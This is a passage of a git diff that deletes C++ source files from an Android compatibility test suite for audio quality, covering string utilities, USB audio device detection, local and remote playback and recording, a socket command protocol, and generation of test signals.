-class SimpleScriptExec {
-public:
-    static const char* PYTHON_PATH;
-
-    static bool checkPythonEnv();
-    /**
-     * run given script
-     * @param script full path of the script
-     * @param param arguments to pass
-     * @param result
-     */
-    static bool runScript(const android::String8& script, const android::String8& param,
-            android::String8& result);
-
-    /**
-     * check if the given str include magic words for pass.
-     * @param str
-     * @param reMatch pattern to match in re besides the pass string
-     * @param nmatch number of substring pattern match elements. It should be in POSIX
-     *        extended RE syntax, no \d nor [:digit:]
-     * @param pmatch pattern match elements
-     * @return true if passed
-     */
-    static bool checkIfPassed(const android::String8& str, const android::String8& reMatch,
-            int nmatch = 0, regmatch_t pmatch[] = NULL);
-};
-
-
-#endif // CTSAUDIO_SIMPLESCRIPTEXEC_H
diff --git a/suite/audio_quality/lib/src/StringUtil.cpp b/suite/audio_quality/lib/src/StringUtil.cpp
deleted file mode 100644
index f23a29a..0000000
--- a/suite/audio_quality/lib/src/StringUtil.cpp
+++ /dev/null
@@ -1,79 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#include <stdio.h>
-#include <stdarg.h>
-#include <stdlib.h>
-
-#include "Log.h"
-#include "StringUtil.h"
-
-std::vector<android::String8>* StringUtil::split(const android::String8& str, char delimiter)
-{
-    std::vector<android::String8>* tokens = new std::vector<android::String8>();
-    unsigned int lastTokenEnd = 0;
-    for (unsigned int i = 0; i < str.length(); i++) {
-        if (str[i] == delimiter) {
-            if ((i - lastTokenEnd) > 0) {
-                tokens->push_back(substr(str, lastTokenEnd, i - lastTokenEnd));
-            }
-            lastTokenEnd = i + 1; // 1 for skipping delimiter
-        }
-    }
-    if (lastTokenEnd < str.length()) {
-        tokens->push_back(substr(str, lastTokenEnd, str.length() - lastTokenEnd));
-    }
-    return tokens;
-}
-
-android::String8 StringUtil::substr(const android::String8& str, size_t pos, size_t n)
-{
-    size_t l = str.length();
-
-    if (pos >= l) {
-        android::String8 resultDummy;
-        return resultDummy;
-    }
-    if ((pos + n) > l) {
-        n = l - pos;
-    }
-    android::String8 result(str.string() + pos, n);
-    return result;
-}
-
-int StringUtil::compare(const android::String8& str, const char* other)
-{
-    return strcmp(str.string(), other);
-}
-
-bool StringUtil::endsWith(const android::String8& str, const char* other)
-{
-    size_t l1 = str.length();
-    size_t l2 = strlen(other);
-    const char* data = str.string();
-    if (l2 > l1) {
-        return false;
-    }
-    size_t iStr = l1 - l2;
-    size_t iOther = 0;
-    for(; iStr < l1; iStr++) {
-        if (data[iStr] != other[iOther]) {
-            return false;
-        }
-        iOther++;
-    }
-    return true;
-}
diff --git a/suite/audio_quality/lib/src/audio/AudioHardware.cpp b/suite/audio_quality/lib/src/audio/AudioHardware.cpp
deleted file mode 100644
index 0eebe0a..0000000
--- a/suite/audio_quality/lib/src/audio/AudioHardware.cpp
+++ /dev/null
@@ -1,119 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-#include <sys/types.h>
-#include <regex.h>
-#include <stdlib.h>
-
-#include <tinyalsa/asoundlib.h>
-
-#include "Log.h"
-#include "StringUtil.h"
-#include "SimpleScriptExec.h"
-#include "audio/AudioHardware.h"
-#include "audio/Buffer.h"
-#include "audio/AudioPlaybackLocal.h"
-#include "audio/AudioRecordingLocal.h"
-#include "audio/AudioRemote.h"
-#include "task/TaskCase.h"
-
-int AudioHardware::mHwId = -1;
-
-int AudioHardware::detectAudioHw()
-{
-    android::String8 script("test_description/conf/detect_usb_audio.py");
-    /* This is the list of supported devices.
-       MobilePre: M-Audio MobilePre
-       Track: M-Audio FastTrack
-     */
-    android::String8 param("MobilePre Track");
-    android::String8 resultStr;
-    if (!SimpleScriptExec::runScript(script, param, resultStr)) {
-        LOGE("cannot run script");
-        return -1;
-    }
-
-    android::String8 match("[ \t]+([A-Za-z0-9_]+)[ \t]+([0-9]+)");
-    const int nmatch = 3;
-    regmatch_t pmatch[nmatch];
-    if (!SimpleScriptExec::checkIfPassed(resultStr, match, nmatch, pmatch)) {
-        LOGE("result not correct %s", resultStr.string());
-        return -1;
-    }
-    LOGV("pmatch 0: %d, %d  1:%d, %d  2:%d, %d",
-        pmatch[0].rm_so, pmatch[0].rm_eo,
-        pmatch[1].rm_so, pmatch[1].rm_eo,
-        pmatch[2].rm_so, pmatch[2].rm_eo);
-
-    if (pmatch[1].rm_so == -1) {
-        return -1;
-    }
-    if (pmatch[2].rm_so == -1) {
-        return -1;
-    }
-    android::String8 product = StringUtil::substr(resultStr, pmatch[1].rm_so,
-            pmatch[1].rm_eo - pmatch[1].rm_so);
-    LOGI("Audio device %s found", product.string());
-    android::String8 cardNumber = StringUtil::substr(resultStr, pmatch[2].rm_so,
-            pmatch[2].rm_eo - pmatch[2].rm_so);
-    int cardN = atoi(cardNumber.string());
-    LOGI("Card number : %d", cardN);
-    return cardN;
-}
-
-android::sp<AudioHardware> AudioHardware::createAudioHw(bool local, bool playback,
-        TaskCase* testCase)
-{
-    android::sp<AudioHardware> hw;
-    if (local) {
-        if (mHwId < 0) {
-            mHwId = detectAudioHw();
-        }
-        if (mHwId < 0) {
-            return NULL;
-        }
-        if (playback) {
-            hw = new AudioPlaybackLocal(mHwId);
-        } else {
-            hw = new AudioRecordingLocal(mHwId);
-        }
-    } else {
-        if (testCase != NULL) {
-            if (playback) {
-                hw = new AudioRemotePlayback(testCase->getRemoteAudio());
-            } else {
-                hw = new AudioRemoteRecording(testCase->getRemoteAudio());
-            }
-        }
-    }
-    return hw;
-}
-
-AudioHardware::~AudioHardware()
-{
-
-}
-
-bool AudioHardware::startPlaybackOrRecordById(const android::String8& id, TaskCase* testCase)
-{
-    if (testCase == NULL) { // default implementation only handles local buffer.
-        return false;
-    }
-    android::sp<Buffer> buffer = testCase->findBuffer(id);
-    if (buffer.get() == NULL) {
-        return false;
-    }
-    return startPlaybackOrRecord(buffer);
-}
diff --git a/suite/audio_quality/lib/src/audio/AudioLocal.cpp b/suite/audio_quality/lib/src/audio/AudioLocal.cpp
deleted file mode 100644
index 2a65689..0000000
--- a/suite/audio_quality/lib/src/audio/AudioLocal.cpp
+++ /dev/null
@@ -1,181 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-#include <Log.h>
-#include "audio/Buffer.h"
-#include "audio/AudioLocal.h"
-
-bool AudioLocal::prepare(AudioHardware::SamplingRate samplingRate,  int gain, int /*mode*/)
-{
-    LOGV("prepare");
-    // gain control not necessary in MobilePre as there is no control.
-    // This means audio source itself should be adjusted to control volume
-    if (mState == EStNone) {
-        if (run("AudioLocal") != android::NO_ERROR) {
-            LOGE("AudioLocal cannot run");
-            // cannot run thread
-            return false;
-        }
-        mState = EStCreated;
-    } else if (mState == EStRunning) {
-        // wrong usage. first stop!
-        return false;
-    }
-    mClientCompletionWait.tryWait(); // this will reset semaphore to 0 if it is 1.
-    mSamplingRate = samplingRate;
-    return issueCommandAndWaitForCompletion(ECmInitialize);
-}
-
-bool AudioLocal::startPlaybackOrRecord(android::sp<Buffer>& buffer, int numberRepetition)
-{
-    LOGV("startPlaybackOrRecord");
-    if (mState != EStInitialized) {
-        LOGE("startPlaybackOrRecord while not initialized");
-        // wrong state
-        return false;
-    }
-    mBuffer = buffer;
-    mNumberRepetition = numberRepetition;
-    mCurrentRepeat = 0;
-    return issueCommandAndWaitForCompletion(ECmRun);
-}
-
-bool AudioLocal::waitForCompletion()
-{
-    int waitTimeInMsec = mBuffer->getSamples() / (mSamplingRate/1000);
-    waitTimeInMsec += COMMAND_WAIT_TIME_MSEC;
-    LOGD("waitForCompletion will wait for %d", waitTimeInMsec);
-    if (!mClientCompletionWait.timedWait(waitTimeInMsec)) {
-        LOGE("waitForCompletion time-out");
-        return false;
-    }
-    return mCompletionResult;
-}
-
-void AudioLocal::stopPlaybackOrRecord()
-{
-    LOGV("stopPlaybackOrRecord");
-    if (mState == EStRunning) {
-        issueCommandAndWaitForCompletion(ECmStop);
-    }
-
-    if (mState != EStNone) { // thread alive
-        requestExit();
-        mCurrentCommand = ECmThreadStop;
-        mAudioThreadWait.post();
-        requestExitAndWait();
-        mState = EStNone;
-    }
-}
-
-bool AudioLocal::issueCommandAndWaitForCompletion(AudioCommand command)
-{
-    mCurrentCommand = command;
-    mAudioThreadWait.post();
-    if (!mClientCommandWait.timedWait(COMMAND_WAIT_TIME_MSEC)) {
-        LOGE("issueCommandAndWaitForCompletion timeout cmd %d", command);
-        return false;
-    }
-    return mCommandResult;
-}
-
-AudioLocal::~AudioLocal()
-{
-    LOGV("~AudioLocal");
-}
-
-AudioLocal::AudioLocal()
-    : mState(EStNone),
-      mCurrentCommand(ECmNone),
-      mClientCommandWait(0),
-      mClientCompletionWait(0),
-      mAudioThreadWait(0),
-      mCompletionResult(false)
-{
-    LOGV("AudioLocal");
-}
-
-
-bool AudioLocal::threadLoop()
-{
-    if (mCurrentCommand == ECmNone) {
-        if (mState == EStRunning) {
-            if (doPlaybackOrRecord(mBuffer)) {
-                // check exit condition
-                if (mBuffer->bufferHandled()) {
-                    mCurrentRepeat++;
-                    LOGV("repeat %d - %d", mCurrentRepeat, mNumberRepetition);
-                    if (mCurrentRepeat == mNumberRepetition) {
-                        LOGV("AudioLocal complete command");
-                        mState = EStInitialized;
-                        mCompletionResult = true;
-                        mClientCompletionWait.post();
-                    } else {
-                        mBuffer->restart();
-                    }
-                }
-            } else {
-                mState = EStInitialized;
-                //notify error
-                mCompletionResult = false;
-                mClientCompletionWait.post();
-            }
-            return true;
-        }
-        //LOGV("audio thread waiting");
-        mAudioThreadWait.wait();
-        //LOGV("audio thread waken up");
-        if (mCurrentCommand == ECmNone) {
-            return true; // continue to check exit condition
-        }
-    }
-
-    int pendingCommand = mCurrentCommand;
-    // now there is a command
-    switch (pendingCommand) {
-    case ECmInitialize:
-        mCommandResult = doPrepare(mSamplingRate, AudioHardware::SAMPLES_PER_ONE_GO);
-        if (mCommandResult) {
-            mState = EStInitialized;
-        }
-        break;
-    case ECmRun: {
-        mCommandResult = doPlaybackOrRecord(mBuffer);
-        if (mCommandResult) {
-            mState = EStRunning;
-        }
-    }
-        break;
-    case ECmStop:
-        doStop();
-        mState = EStCreated;
-        mCommandResult = true;
-        break;
-    case ECmThreadStop:
-        return false;
-        break;
-    default:
-        // this should not happen
-        ASSERT(false);
-        break;
-    }
-
-    mCurrentCommand = ECmNone;
-    mClientCommandWait.post();
-
-    return true;
-}
-
-
diff --git a/suite/audio_quality/lib/src/audio/AudioPlaybackLocal.cpp b/suite/audio_quality/lib/src/audio/AudioPlaybackLocal.cpp
deleted file mode 100644
index 06c92d6..0000000
--- a/suite/audio_quality/lib/src/audio/AudioPlaybackLocal.cpp
+++ /dev/null
@@ -1,116 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-// TODO remove all the headers upto asound.h after removing pcm_drain hack
-#include <errno.h>
-#include <unistd.h>
-#include <poll.h>
-#include <sys/ioctl.h>
-#include <sys/mman.h>
-#include <sys/time.h>
-#include <limits.h>
-#include <linux/ioctl.h>
-#define __force
-#define __bitwise
-#define __user
-#include <sound/asound.h>
-
-#include <string.h>
-#include <tinyalsa/asoundlib.h>
-
-#include "audio/AudioHardware.h"
-#include "audio/Buffer.h"
-#include "Log.h"
-
-#include "audio/AudioPlaybackLocal.h"
-
-
-AudioPlaybackLocal::AudioPlaybackLocal(int hwId)
-    : mHwId(hwId),
-      mPcmHandle(NULL)
-{
-    LOGV("AudioPlaybackLocal %x", (unsigned long)this);
-}
-
-AudioPlaybackLocal::~AudioPlaybackLocal()
-{
-    LOGV("~AudioPlaybackLocal %x", (unsigned long)this);
-    releaseHw();
-}
-
-bool AudioPlaybackLocal::doPrepare(AudioHardware::SamplingRate samplingRate, int samplesInOneGo)
-{
-    releaseHw();
-
-    struct pcm_config config;
-
-    memset(&config, 0, sizeof(config));
-    config.channels = 2;
-    config.rate = samplingRate;
-    config.period_size = 1024;
-    config.period_count = 64;
-    config.format = PCM_FORMAT_S16_LE;
-    config.start_threshold = 0;
-    config.stop_threshold =  0;
-    config.silence_threshold = 0;
-
-    mPcmHandle = pcm_open(mHwId, 0, PCM_OUT, &config);
-    if (!mPcmHandle || !pcm_is_ready(mPcmHandle)) {
-       LOGE("Unable to open PCM device(%d) (%s)\n", mHwId, pcm_get_error(mPcmHandle));
-       return false;
-    }
-
-    mSamples = samplesInOneGo;
-    mSizes = samplesInOneGo * 4; // stereo, 16bit
-
-    return true;
-}
-
-bool AudioPlaybackLocal::doPlaybackOrRecord(android::sp<Buffer>& buffer)
-{
-    if (buffer->amountToHandle() < (size_t)mSizes) {
-        mSizes = buffer->amountToHandle();
-    }
-    if (pcm_write(mPcmHandle, buffer->getUnhanledData(), mSizes)) {
-        LOGE("AudioPlaybackLocal error %s", pcm_get_error(mPcmHandle));
-        return false;
-    }
-    buffer->increaseHandled(mSizes);
-    LOGV("AudioPlaybackLocal::doPlaybackOrRecord %d", buffer->amountHandled());
-    return true;
-}
-
-void AudioPlaybackLocal::doStop()
-{
-    // TODO: remove when pcm_stop does pcm_drain
-    // hack to have snd_pcm_drain equivalent
-    struct pcm_ {
-        int fd;
-    };
-    pcm_* pcm = (pcm_*)mPcmHandle;
-    ioctl(pcm->fd, SNDRV_PCM_IOCTL_DRAIN);
-    pcm_stop(mPcmHandle);
-}
-
-void AudioPlaybackLocal::releaseHw()
-{
-    if (mPcmHandle != NULL) {
-        LOGV("releaseHw %x", (unsigned long)this);
-        doStop();
-        pcm_close(mPcmHandle);
-        mPcmHandle = NULL;
-    }
-}
diff --git a/suite/audio_quality/lib/src/audio/AudioProtocol.cpp b/suite/audio_quality/lib/src/audio/AudioProtocol.cpp
deleted file mode 100644
index 26ce5c5..0000000
--- a/suite/audio_quality/lib/src/audio/AudioProtocol.cpp
+++ /dev/null
@@ -1,197 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-#include <stdint.h>
-#include <arpa/inet.h>
-#include <sys/types.h>
-#include <sys/socket.h>
-
-#include <memory>
-#include <utils/StrongPointer.h>
-
-#include "audio/Buffer.h"
-#include "Log.h"
-#include "audio/AudioProtocol.h"
-
-
-bool AudioProtocol::sendCommand(AudioParam& param)
-{
-    mBuffer[0] = htonl(mCommand);
-    mBuffer[1] = 0;
-    return sendData((char*)mBuffer, 8);
-}
-
-bool AudioProtocol::handleReply(const uint32_t* data, AudioParam* param)
-{
-    if (!checkHeaderId(data, mCommand)) {
-        return false;
-    }
-    if (data[1] != 0) { // no endian change for 0
-        LOGE("error in reply %d", ntohl(data[1]));
-        return false;
-    }
-    if (data[2] != 0) {
-        LOGE("payload length %d not zero", ntohl(data[2]));
-        return false;
-    }
-    return true;
-}
-
-bool AudioProtocol::handleReplyHeader(ClientSocket& socket, uint32_t* data, CommandId& id)
-{
-    if (!socket.readData((char*)data, REPLY_HEADER_SIZE)) {
-        LOGE("handleReplyHeader cannot read");
-        return false;
-    }
-    uint32_t command = ntohl(data[0]);
-    if ((command & 0xffff0000) != 0x43210000) {
-        LOGE("Wrong header %x %x", command, data[0]);
-        return false;
-    }
-    command = (command & 0xffff) | 0x12340000; // convert to id
-    if (command < ECmdStart) {
-        LOGE("Wrong header %x %x", command, data[0]);
-        return false;
-    }
-    if (command > (ECmdLast - 1)) {
-        LOGE("Wrong header %x %x", command, data[0]);
-        return false;
-    }
-    id = (CommandId)command;
-    LOGD("received reply with command %x", command);
-    return true;
-}
-
-bool AudioProtocol::checkHeaderId(const uint32_t* data, uint32_t command)
-{
-    if (ntohl(data[0]) != ((command & 0xffff) | 0x43210000)) {
-        LOGE("wrong reply ID 0x%x", ntohl(data[0]));
-        return false;
-    }
-    return true;
-}
-
-
-/**
- * param0 u32 data id
- * param1 sp<Buffer>
- */
-bool CmdDownload::sendCommand(AudioParam& param)
-{
-    mBuffer[0] = htonl(ECmdDownload);
-    mBuffer[1] = htonl(4 + param.mBuffer->getSize());
-    mBuffer[2] = htonl(param.mId);
-    if(!sendData((char*)mBuffer, 12)) {
-        return false;
-    }
-    return sendData(param.mBuffer->getData(), param.mBuffer->getSize());
-}
-
-/**
- * param0 u32 data id
- * param1 u32 sampling rate
- * param2 u32 mono / stereo(MSB) | mode
- * param3 u32 volume
- * param4 u32 repeat
- */
-bool CmdStartPlayback::sendCommand(AudioParam& param)
-{
-    mBuffer[0] = htonl(ECmdStartPlayback);
-    mBuffer[1] = htonl(20);
-    mBuffer[2] = htonl(param.mId);
-    mBuffer[3] = htonl(param.mSamplingF);
-    uint32_t mode = param.mStereo ? 0x80000000 : 0;
-    mode |= param.mMode;
-    mBuffer[4] = htonl(mode);
-    mBuffer[5] = htonl(param.mVolume);
-    mBuffer[6] = htonl(param.mNumberRepetition);
-
-    return sendData((char*)mBuffer, 28);
-}
-
-
-/**
- * param0 u32 sampling rate
- * param1 u32 mono / stereo(MSB) | mode
- * param2 u32 volume
- * param3 u32 samples
- */
-bool CmdStartRecording::sendCommand(AudioParam& param)
-{
-    mBuffer[0] = htonl(ECmdStartRecording);
-    mBuffer[1] = htonl(16);
-    mBuffer[2] = htonl(param.mSamplingF);
-    uint32_t mode = param.mStereo ? 0x80000000 : 0;
-    mode |= param.mMode;
-    mBuffer[3] = htonl(mode);
-    mBuffer[4] = htonl(param.mVolume);
-    uint32_t samples = param.mBuffer->getSize() / (param.mStereo ? 4 : 2);
-    mBuffer[5] = htonl(samples);
-
-    return sendData((char*)mBuffer, 24);
-}
-
-/**
- * param0 sp<Buffer>
- */
-bool CmdStartRecording::handleReply(const uint32_t* data, AudioParam* param)
-{
-    if (!checkHeaderId(data, ECmdStartRecording)) {
-        return false;
-    }
-    if (data[1] != 0) { // no endian change for 0
-        LOGE("error in reply %d", ntohl(data[1]));
-        return false;
-    }
-    int len = ntohl(data[2]);
-    if (len > (int)param->mBuffer->getCapacity()) {
-        LOGE("received data %d exceeding buffer capacity %d", len, param->mBuffer->getCapacity());
-        // read and throw away
-        //Buffer tempBuffer(len);
-        //readData(tempBuffer.getData(), len);
-        return false;
-    }
-    if (!readData(param->mBuffer->getData(), len)) {
-        return false;
-    }
-    LOGI("received data %d from device", len);
-    param->mBuffer->setHandled(len);
-    param->mBuffer->setSize(len);
-    return true;
-}
-
-bool CmdGetDeviceInfo::handleReply(const uint32_t* data, AudioParam* param)
-{
-    if (!checkHeaderId(data, ECmdGetDeviceInfo)) {
-        return false;
-    }
-    if (data[1] != 0) { // no endian change for 0
-        LOGE("error in reply %d", ntohl(data[1]));
-        return false;
-    }
-    int len = ntohl(data[2]);
-
-    std::unique_ptr<char[]> infoString(new char[len + 1]);
-    if (!readData(infoString.get(), len)) {
-        return false;
-    }
-    (infoString.get())[len] = 0;
-    LOGI("received data %s from device", infoString.get());
-    android::String8* string = reinterpret_cast<android::String8*>(param->mExtra);
-    string->setTo(infoString.get(), len);
-    return true;
-}
-
-
diff --git a/suite/audio_quality/lib/src/audio/AudioRecordingLocal.cpp b/suite/audio_quality/lib/src/audio/AudioRecordingLocal.cpp
deleted file mode 100644
index eda705d..0000000
--- a/suite/audio_quality/lib/src/audio/AudioRecordingLocal.cpp
+++ /dev/null
@@ -1,105 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#include <stdint.h>
-#include <string.h>
-#include <tinyalsa/asoundlib.h>
-
-#include "audio/AudioHardware.h"
-#include "audio/Buffer.h"
-#include "Log.h"
-
-#include "audio/AudioRecordingLocal.h"
-
-
-AudioRecordingLocal::AudioRecordingLocal(int hwId)
-    : mHwId(hwId),
-      mPcmHandle(NULL)
-{
-    LOGV("AudioRecordingLocal %x", (unsigned long)this);
-}
-
-AudioRecordingLocal::~AudioRecordingLocal()
-{
-    LOGV("~AudioRecordingLocal %x", (unsigned long)this);
-    releaseHw();
-}
-
-bool AudioRecordingLocal::doPrepare(AudioHardware::SamplingRate samplingRate, int samplesInOneGo)
-{
-    releaseHw();
-
-    struct pcm_config config;
-
-    memset(&config, 0, sizeof(config));
-    config.channels = 2;
-    config.rate = samplingRate;
-    config.period_size = 1024;
-    config.period_count = 32;
-    config.format = PCM_FORMAT_S16_LE;
-    config.start_threshold = 0;
-    config.stop_threshold = 0;
-    config.silence_threshold = 0;
-
-    mPcmHandle = pcm_open(mHwId, 0, PCM_IN, &config);
-    if (!mPcmHandle || !pcm_is_ready(mPcmHandle)) {
-       LOGE("Unable to open PCM device(%d) (%s)\n", mHwId, pcm_get_error(mPcmHandle));
-       return false;
-    }
-
-    mSamples = samplesInOneGo;
-    mSizes = samplesInOneGo * 4; // stereo, 16bit
-
-    mBufferSize = pcm_get_buffer_size(mPcmHandle);
-    LOGD("buffer size %d, read size %d", mBufferSize, mSizes);
-    return true;
-}
-
-bool AudioRecordingLocal::doPlaybackOrRecord(android::sp<Buffer>& buffer)
-{
-    int toRead = mSizes;
-    if (buffer->amountToHandle() < (size_t)mSizes) {
-        toRead = buffer->amountToHandle();
-    }
-    LOGD("recording will read %d", toRead);
-
-    while (toRead > 0) {
-        int readSize = (toRead > mBufferSize) ? mBufferSize : toRead;
-        if (pcm_read(mPcmHandle, buffer->getUnhanledData(), readSize)) {
-            LOGE("AudioRecordingLocal error %s", pcm_get_error(mPcmHandle));
-            return false;
-        }
-        buffer->increaseHandled(readSize);
-        toRead -= readSize;
-    }
-    LOGV("AudioRecordingLocal::doPlaybackOrRecord %d", buffer->amountHandled());
-    return true;
-}
-
-void AudioRecordingLocal::doStop()
-{
-    pcm_stop(mPcmHandle);
-}
-
-void AudioRecordingLocal::releaseHw()
-{
-    if (mPcmHandle != NULL) {
-        LOGV("releaseHw %x", (unsigned long)this);
-        doStop();
-        pcm_close(mPcmHandle);
-        mPcmHandle = NULL;
-    }
-}
diff --git a/suite/audio_quality/lib/src/audio/AudioRemote.cpp b/suite/audio_quality/lib/src/audio/AudioRemote.cpp
deleted file mode 100644
index 444a33e..0000000
--- a/suite/audio_quality/lib/src/audio/AudioRemote.cpp
+++ /dev/null
@@ -1,90 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-
-#include "Log.h"
-#include "audio/AudioRemote.h"
-#include "audio/RemoteAudio.h"
-
-bool AudioRemote::prepare(AudioHardware::SamplingRate samplingRate, int volume, int mode)
-{
-    if (mRemote == NULL) {
-        LOGE("AudioRemote::prepare mRemote NULL");
-        return false;
-    }
-    mSamplingRate = samplingRate;
-    mVolume = volume;
-    mMode = mode;
-    return true;
-}
-
-AudioRemote::AudioRemote(android::sp<RemoteAudio>& remote)
-    : mRemote(remote)
-{
-
-}
-
-AudioRemotePlayback::AudioRemotePlayback(android::sp<RemoteAudio>& remote)
-    : AudioRemote(remote)
-{
-
-}
-
-bool AudioRemotePlayback::startPlaybackOrRecord(android::sp<Buffer>& buffer, int numberRepetition)
-{
-    //TODO not supported for the moment
-    return false;
-}
-
-bool AudioRemotePlayback::waitForCompletion()
-{
-    return mRemote->waitForPlaybackCompletion();
-}
-
-void AudioRemotePlayback::stopPlaybackOrRecord()
-{
-    mRemote->stopPlayback();
-}
-
-bool AudioRemotePlayback::startPlaybackForRemoteData(int id, bool stereo, int numberRepetition)
-{
-    return mRemote->startPlayback(stereo, mSamplingRate, mMode, mVolume, id, numberRepetition);
-}
-
-AudioRemoteRecording::AudioRemoteRecording(android::sp<RemoteAudio>& remote)
-    : AudioRemote(remote)
-{
-
-}
-
-bool AudioRemoteRecording::startPlaybackOrRecord(android::sp<Buffer>& buffer,
-        int /*numberRepetition*/)
-{
-    bool stereo = buffer->isStereo();
-    return mRemote->startRecording(stereo, mSamplingRate, mMode, mVolume, buffer);
-}
-
-bool AudioRemoteRecording::waitForCompletion()
-{
-    return mRemote->waitForRecordingCompletion();
-}
-
-void AudioRemoteRecording::stopPlaybackOrRecord()
-{
-    mRemote->stopRecording();
-}
-
-
-
diff --git a/suite/audio_quality/lib/src/audio/AudioSignalFactory.cpp b/suite/audio_quality/lib/src/audio/AudioSignalFactory.cpp
deleted file mode 100644
index d2308a3..0000000
--- a/suite/audio_quality/lib/src/audio/AudioSignalFactory.cpp
+++ /dev/null
@@ -1,90 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy of
- * the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations under
- * the License.
- */
-#include <math.h>
-#include <stdint.h>
-#include <stdlib.h>
-
-#include "Log.h"
-#include "audio/AudioSignalFactory.h"
-
-android::sp<Buffer> AudioSignalFactory::generateSineWave(AudioHardware::BytesPerSample BPS,
-        int maxPositive, AudioHardware::SamplingRate samplingRate, int signalFreq,
-        int samples,  bool stereo)
-{
-    int bufferSize = samples * (stereo? 2 : 1) * BPS;
-    android::sp<Buffer> buffer(new Buffer(bufferSize));
-    // only 16bit signed
-    ASSERT(BPS == AudioHardware::E2BPS);
-    int16_t* data = reinterpret_cast<int16_t*>(buffer->getData());
-    double multiplier = 2.0 * M_PI * (double)signalFreq / samplingRate;
-    for (int i = 0; i < samples; i++) {
-        double val = sin(multiplier * i) * maxPositive;
-        *data = (int16_t)val;
-        data++;
-        if(stereo) {
-            *data = (int16_t)val;
-            data++;
-        }
-    }
-    buffer->setSize(buffer->getCapacity());
-    return buffer;
-}
-android::sp<Buffer> AudioSignalFactory::generateWhiteNoise(AudioHardware::BytesPerSample BPS,
-        int maxPositive, int samples, bool stereo)
-{
-    int bufferSize = samples * (stereo? 2 : 1) * BPS;
-    android::sp<Buffer> buffer(new Buffer(bufferSize, bufferSize));
-    // only 16bit signed
-    ASSERT(BPS == AudioHardware::E2BPS);
-    srand(123456);
-    int16_t* data = reinterpret_cast<int16_t*>(buffer->getData());
-    int middle = RAND_MAX / 2;
-    double multiplier = (double)maxPositive / middle;
-    for (int i = 0; i < samples; i++) {
-        int val =  rand();
-        val = (int16_t)((val - middle) * maxPositive / middle);
-        *data = val;
-        data++;
-        if (stereo) {
-            *data = val;
-            data++;
-        }
-    }
-    buffer->setSize(buffer->getCapacity());
-    return buffer;
-}
-
-android::sp<Buffer> AudioSignalFactory::generateZeroSound(AudioHardware::BytesPerSample BPS,
-        int samples, bool stereo)
-{
-    int bufferSize = samples * (stereo? 2 : 1) * BPS;
-    android::sp<Buffer> buffer(new Buffer(bufferSize, bufferSize));
-    // only 16bit signed
-    ASSERT(BPS == AudioHardware::E2BPS);
-    int16_t* data = reinterpret_cast<int16_t*>(buffer->getData());
-    for (int i = 0; i < samples; i++) {
-        *data = 0;
-        data++;
-        if (stereo) {
-            *data = 0;
-            data++;
-        }
-    }
-    buffer->setSize(buffer->getCapacity());
-    return buffer;
-}
-
-
